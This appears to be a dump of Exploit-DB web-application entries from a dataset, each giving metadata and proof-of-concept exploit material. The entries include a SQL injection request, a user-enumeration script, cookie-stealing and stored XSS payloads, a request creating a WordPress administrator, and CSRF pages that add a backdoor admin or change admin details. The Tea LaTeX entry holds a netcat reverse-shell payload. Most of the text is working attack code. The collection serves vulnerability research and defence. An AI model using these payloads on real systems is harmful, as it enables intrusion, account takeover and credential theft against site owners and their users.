deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52462
Description: Summar Employee Portal  3.98.0 - Authenticated SQL Injection
Type: webapps
Platform: multiple
Date: 2025-12-16
Author: Peter Gabaldon

Exploit:
# Exploit Title: Summar Employee Portal  3.98.0 - Authenticated SQL Injection
# Google Dork: inurl:"/MemberPages/quienesquien.aspx"
# Date: 09/22/2025
# Exploit Author: Peter Gabaldon - https://pgj11.com/
# Vendor Homepage: https://www.summar.es/
# Software Link: https://www.summar.es/software-recursos-humanos/
# Version: < 3.98.0
# Tested on: Kali
# CVE: CVE-2025-40677
# Description: SQL injection vulnerability in Summar Software´s Portal del Empleado. This vulnerability allows an attacker to retrieve, create, update, and delete the database by sending a POST request using the parameter “ctl00$ContentPlaceHolder1$filtroNombre” in “/MemberPages/quienesquien.aspx”.

$ sqlmap --random-agent -r req.sqli.xml -p 'ctl00%24ContentPlaceHolder1%24filtroNombre' --dbms="MSSQL"

POST /MemberPages/quienesquien.aspx HTTP/1.1
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Microsoftajax: Delta=true
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
 
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24ContentPlaceHolder1%24lnkVerTrabajador&ctl00%24ContentPlaceHolder1%24filtroNombre=[SQL_INJECTION_POINT]&ctl00%24ContentPlaceHolder1%24ddlEmpresa=&ctl00%24ContentPlaceHolder1%24filtroCentro=&ctl00%24ContentPlaceHolder1%24filtroUO=&ctl00%24ContentPlaceHolder1%24filtroPuesto=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24lnkVerTrabajador&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=...&__VIEWSTATEGENERATOR=...&__ASYNCPOST=true&
Exploit-DB #51804
Description: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration
Type: webapps
Platform: multiple
Date: 2024-02-19
Author: Jonas Benjamin Friedli

Exploit:
# Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration
# Date: 05/12/2023
# Exploit Author: Jonas Benjamin Friedli
# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/
# Version: <= 6.31
# Tested on: 6.31
# CVE : CVE-2023-3897

import requests
import sys

def print_help():
    print("Usage: python script.py [URL] [UserListFile]")
    sys.exit(1)


def main():
    if len(sys.argv) != 3 or sys.argv[1] == '-h':
        print_help()

    url, user_list_file = sys.argv[1], sys.argv[2]

    try:
        with open(user_list_file, 'r') as file:
            users = file.read().splitlines()
    except FileNotFoundError:
        print(f"User list file '{user_list_file}' not found.")
        sys.exit(1)

    valid_users = []
    bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest"
    enumerate_txt = "This User ID/Email ID is not registered."
    for index, user in enumerate(users):
        progress = (index + 1) / len(users) * 100
        print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r")

        data = {"UserId": user}
        response = requests.post(
            f"{url}{bypass_dir}",
            json=data,
            headers={"Content-Type": "application/json; charset=utf-8"}
        )

        if response.status_code == 200:
            response_data = response.json()
            if enumerate_txt not in response_data.get('d', {}).get('message', ''):
                valid_users.append(user)

    print("\nFinished processing users.")
    print(f"Valid Users Found: {len(valid_users)}")
    for user in valid_users:
        print(user)

if __name__ == "__main__":
    main()
Exploit-DB #52286
Description: SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2025-05-09
Author: Abdualhadi khalifa

Exploit:
 # Exploit Title: SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation
# Date: 2025-05-7
# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/)

# Affected: Versions All versions of OttoKit (SureTriggers) ≤ 1.0.82.

Conditions for Exploitation
<https://github.com/absholi7ly/CVE-2025-27007-OttoKit-exploit/#conditions-for-exploitation>

The vulnerability can be exploited under the following circumstances:

   1. OttoKit must be installed and activated on the target WordPress site.
   2. The plugin *uninitialized* (e.g., no API key or "secret_key" is set
   in the database).
   3. The target site displays the REST API endpoint
   '/wp-json/sure-triggers/v1/automation/action'.

------------------------------
HTTP Request
<https://github.com/absholi7ly/CVE-2025-27007-OttoKit-exploit/#http-request>
The following request targets the
/wp-json/sure-triggers/v1/automation/action endpoint to create an
administrator account:

POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: [target-site]
Content-Type: application/x-www-form-urlencoded
St-Authorization:
Content-Length: [length]

selected_options[user_name]=new_admin&selected_options[user_email]=
attacker@example.com&selected_options[password]=StrongP@ssw0rd123
&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists
Exploit-DB #50937
Description: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-05-17
Author: Pankaj Kumar Thakur

Exploit:
# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
# Date: May 11 2022
# Exploit Author: Pankaj Kumar Thakur
# Vendor Homepage: https://surveysparrow.com/
# Software Link: https://surveysparrow.com/enterprise-survey-software/
# Version: 2022
# Tested on: Windows
# CVE : CVE-2022-29727
# References:
https://www.tenable.com/cve/CVE-2022-29727
https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022

#POC

For Stored XSS

Visit
https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//

XSS Executed
Exploit-DB #37470
Description: SWFupload - 'movieName' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2012-06-29
Author: Nathan Partlan

Exploit:
source: https://www.securityfocus.com/bid/54245/info

SWFUpload is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SWFUpload 2.2.0.1 is vulnerable; prior versions may also be affected. 

http://www.example.com/v220/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//
Exploit-DB #35908
Description: SWFupload 2.5.0 - Cross Frame Scripting (XFS)
Type: webapps
Platform: multiple
Date: 2015-01-26
Author: MindCracker

Exploit:
# Exploit Title: SWFupload All Version XSF Vulnerability
 
# Date: 25/01/2014
 
# Exploit Author: MindCracker - Team MaDLeeTs
 
# Contact : MindCrackerKhan@Gmail.com - Maddy@live.com.pk | https://twitter.com/MindCrackerKhan
 
# Verion : All

# Tested on: Linux / Window

#Description :

XSF occurs when an SWF have permission/able to load another file from another directory or site.The vulnerable 
swf can be exploited by just loading swf/img/any ( like Phishing or Cross-Site scripting

#Vulnerable Code :
            

ExternalInterface.addCallback("SetButtonTextStyle",this.SetButtonTextStyle);

  this.SetButtonTextStyle(String(root.loaderInfo.parameters.buttonTextStyle));
         }
         catch(ex:Object)
         {
            this.SetButtonTextStyle("");
         }
         try
         {

As you can see the .buttonTextStyle variable is not well configured ( by exactly adding the value ) and This ButtonTextStyle will accept any value
The vulneralbe SWF will load any file 

http://victim.com/buttontextstyle.swf?buttonTextStyle=http://attack.com/Exploiting.swf

2.

ExternalInterface.addCallback("SetButtonText",this.SetButtonText);
SetButtonText

{
            this.SetButtonText(String(root.loaderInfo.parameters.buttonText));
         }
         catch(ex:Object)
         {
            this.SetButtonText("");
         }
         try
         {

#POC 

http://victim.com/swfupload.swf?buttonTextStyle=http://attack.com/Exploiting.swf
Exploit-DB #51342
Description: Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2023-04-08
Author: omurugur

Exploit:
# Exploit Title: Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS)
# Exploit Author: omurugur
# Vendor Homepage: https://support.broadcom.com/external/content/SecurityAdvisories/0/21117
# Version: 10.7.4-10.7.13
# Tested on: [relevant os]
# CVE : CVE-2022-25630
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr


An authenticated user can embed malicious content with XSS into the admin
group policy page.

Example payload

*"/><svg/onload=prompt(document.domain)>*


POST /brightmail/admin/administration/AdminGroupPolicyFlow$save.flo
HTTP/1.1
Host: X.X.X.X
Cookie: JSESSIONID=xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0)
Gecko/20100101 Firefox/99.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 652
Origin: https://x.x.x.x
Referer:
https://x.x.x.x/brightmail/admin/administration/AdminGroupPolicyFlow$add.flo
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

pageReuseFor=add&symantec.brightmail.key.TOKEN=xxx&adminGroupName=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28location%29%3E&adminGroupDescription=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28location%29%3E&adminGroupDescription=&fullAdminRole=true&statusRole=true&statusViewOnly=false&reportRole=true&reportViewOnly=false&policyRole=true&policyViewOnly=false&settingRole=true&settingViewOnly=false&adminRole=true&adminViewOnly=false&submitRole=true&submitViewOnly=false&quarantineRole=true&quarantineViewOnly=false&selectedFolderRights=2&ids=0&complianceFolderIds=1&selectedFolderRights=2&ids=0&complianceFolderIds=10000000


Regards,

Omur UGUR
Exploit-DB #23109
Description: Symantec Messaging Gateway 9.5.3-3 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2012-12-03
Author: Ben Williams

Exploit:
=======
Summary
=======
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Symantec
Vendor Reference: 
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published

========
TimeLine
========
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012

===========
Description
===========
I. VULNERABILITY
-------------------------
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)

II. BACKGROUND
-------------------------
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance

III. DESCRIPTION
-------------------------
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.

=================
Technical Details
=================
IV. PROOF OF CONCEPT
-------------------------
An attacker can create an web page with a hidden image-tag (example below)

<html>
A very interesting page indeed
<img
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&[CREDENTIAL_REDACTED]=muhaha3&fullAdminRole=true&statusRole=true"
height=0 width=0>
</html>

When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).

The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)

The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.

Many other functions can be abused in this way to arbitrarily reconfigure the appliance.

===============
Fix Information
===============
An updated version of the software has been released to address the vulnerability:

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00


NCC Group Research
http://www.nccgroup.com/research


For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
This email message has been delivered safely and archived online by Mimecast.
</a>
Exploit-DB #42613
Description: Symantec Messaging Gateway < 10.6.3-267 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2017-08-09
Author: Dhiraj Mishra

Exploit:
# Exploit Title: CSRF
# Date: August 9, 2017	
# Software Link: https://www.symantec.com/products/messaging-gateway
# Exploit Author: Dhiraj Mishra
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-6328
# Category:  Symantec Messaging Gateway
 
1. Description
 
The Symantec Messaging Gateway can encounter an issue of cross site request forgery (also known as one-click attack and is abbreviated as CSRF or XSRF), which is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. A CSRF attack attempts to exploit the trust that a specific website has in a user's browser. 
 
2. Proof of concept
 
The SMG did not protect the logout form with csrf token, therefore i can logout any user by sending this url https://YourIPHere/brightmail/logout.do
Here's an attack vector:

1) Set up a honeypot that detects SMG scans/attacks (somehow).
2) Once I get a probe, fire back a logout request.
3) Continue to logout the active user forever.

It's less damaging than a traditional "hack back" but is sure to irritate the local red team to no end. It's essentially a user DoS.
 
3. Symantec Security Bulletin
 
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00
Exploit-DB #48582
Description: Sysax MultiServer 6.90 - Reflected Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2020-06-12
Author: Luca Epifanio

Exploit:
# Exploit Title: Sysax MultiServer 6.90 - Reflected Cross Site Scripting
# Google Dork: n.d.
# Date: 2020-06-02
# Exploit Author: Luca Epifanio (wrongsid3)
# Vendor Homepage: https://www.sysax.com/
# Software Link: https://www.sysax.com/download.htm
# Version: MultiServer 6.90
# Tested on: Windows 10 x64
# CVE : CVE-2020-13228

There is reflected XSS via the /scgi sid parameter.

PoC:
http://192.168.88.131/scgi?sid=684216c78659562c92775c885e956585cdb180fd
<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm

PoC Screen: https://pasteboard.co/J9eE2GQ.png
Exploit-DB #34525
Description: Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2014-09-02
Author: Dolev Farhi

Exploit:
Vulnerability title: Syslog LogAnalyzer 3.6.5 Stored XSS
Author: Dolev Farhi
Contact: dolevf at yahoo dot com  @dolevff
Application: LogAnalyzer 3.6.5
Date: 8.2.2014
Relevant CVEs: CVE-2014-6070
Vulnerable version: <= 3.6.5
Fixed version: 3.6.6

1. About the application
------------------------
LogAnalyzer is a web interface to syslog and other network event data. 
It provides easy browsing, analysis of realtime network events and 
reporting services.


2. Vulnerabilities Descriptions:
-----------------------------
It was found that an XSS injection is possible on a syslog server 
running LogAnalyzer version 3.6.5.
by changing the hostname of any entity logging to syslog server with 
LogAnalyzer to <script>alert("xss")</script>, and sending an arbitrary
syslog message, a client-side script injection execution is possible.


4. proof of concept exploit
-----------------------
#!/usr/bin/python
# Exploit title = LogAnalyzer 3.5.6 Stored XSS injection
# Date: Sept 2014
# CVE: 2014-6070
# Tested on RHEL6.4

import os
import syslog

hostname = os.uname()[1]
payload = "\"<script>alert('XSS');</script>\""

print("+ Setting temporary hostname to " + payload + "...")
os.system("hostname " +  payload)

print("+ Injecting the syslog message...")
syslog.syslog("syslog xss injection")

print("+ Check LogAnalyzer dashboard...")

raw_input("+ Press [enter] to restore hostname...")
os.system("hostname " + "\""  +  hostname + "\"")

print("+ Hostname restored to " + hostname)
Exploit-DB #50938
Description: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-05-17
Author: Alperen Ergel

Exploit:
# Exploit Title: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alperen Ergel (alpernae IG/TW)
# Web Site: https://alperenae.gitbook.io/
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux
# Category: WebApp
# Google Dork: N/A
# Date: 2022-05-10
# CVE :N/A

######## Description ########
#
# 1-) Login administrator page and add product
# 
# 2-) add product name to xss payload 
#
# 3-) Back to web site then will be work payload
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

POST /Y/Moduller/_Urun/Ekle/Action.php HTTP/1.1
Host: domain.com
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxxx@xxx.com; customDashboardMapping=true; PHPSESSID=18d05ae557640c93fd9739e241850438; rest1SupportUser=0; nocache=1; last_products=12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1028
Origin: https://domain.com
Dnt: 1
Referer: https://domain.com/srv/admin/products/save-edit/index?id=12
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

task=UPDATE&Kategori=18&UrunId=12&UrunAdi={PAYLOAD}&MarkaId=0&MarkaAd=&ModelId=0&ModelAd=&Tedarikci=0&TedarikciKodu=12&StokSayisi=100
&StokBirimId=1&StokBirimAd=Adet&EnYeniUrun=0&EnCokSatilan=0&AramaKelimeleri=&HamSatis=200&AlisFiyat=100&HavaleYuzde=0&Birim=0
&KDV=18&KdvGoster=false&point_catalog=false&IndirimliUrun=true&AltUrunVar=false&YeniUrun=true&AnaSayfaUrun=true&VitrinUrun=false
&Gorunme=true&BayiUrun=false&SiparisNotuGoster=false&En=0&Boy=0&Derinlik=0&Agirlik=0&Desi=1&GarantiBilgisi=
&TeslimatBilgisi=&UrunNot=&WsUrunKodu=T12&SeoAyar=3&SeoTitle=&SeoLink=deneme-urun-1&SeoDesc=&SeoKeyw=
&Detay=%C3%9Cr%C3%BCn%20ekleme%20konusunda%20detayl%C4%B1%20bilgi%20i%C3%A7in%2C%20videomuzu%20
izleyebilirsiniz%3A%C2%A0%0A%3Cdiv%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoWlUHvi4IPw%22%3Ehttps%3A%2F%2Fwww.youtube.com%
2Fwatch%3Fv%3DoWlUHvi4IPw%3C%2Fa%3E%3C%2Fdiv%3E&AnaKategoriId=18&point=0&subscribe=0&subscribe_frequency=&subscribe_discount_rate=0
&UruneKargoUcretsiz=0&UyeUcretsizKargo=0&BayiUcretsizKargo=0&Sayisal1=0
Exploit-DB #50302
Description: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: multiple
Date: 2021-09-20
Author: Alperen Ergel

Exploit:
# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF) 
# Exploit Author: Alperen Ergel
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux (2021.4) / xammp
# Category: WebApp
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"
# Date: 2021-08-15
######## Description ########
#
# Attacker can change admin informaiton
#
#
######## Proof of Concept ########

POST /srv/service/admin/updateuserinfo HTTP/1.1

Host: localhost

Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 74

Origin: http://localhost

Referer: http://localhost/Y/

Te: trailers

Connection: close



firstName=Victim&lastName=victim&email=victim%40mail.com&phone=[PII_REDACTED]




####### EXPLOIT ##################
<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">

      <input type="hidden" name="firstName" value="[CHANGEHERE]" />

      <input type="hidden" name="lastName" value="[CHANGEHERE]" />

      <input type="hidden" name="email" value="[CHANGEHERE]" />

      <input type="hidden" name="phone" value="[CHANGEHERE]" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>
Exploit-DB #48805
Description: Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2020-09-11
Author: nepska

Exploit:
# Exploit Title: Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-01
# Exploit Author: nepska
# Vendor Homepage: https://github.com/ammarfaizi2/latex.teainside.org
# Software Link: https://github.com/ammarfaizi2/latex.teainside.org
# Version: v1.0
# Tested on: Kali linux / Windows 10
# CVE: N/A


# Header Requests

POST /api.php?action=tex2png HTTP/1.1
Host: latex.teainside.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 64
Origin: https://latex.teainside.org
DNT: 1
Connection: keep-alive
Referer: https://latex.teainside.org/
Cookie: __cfduid=d7e499dd5e2cf708117e613f7286aa[PII_REDACTED]403


{"content":"\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}","d":200,"border":"50x20","bcolor":"white"}




# Payload 

\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}


# Attacker 

nc -lvp 1234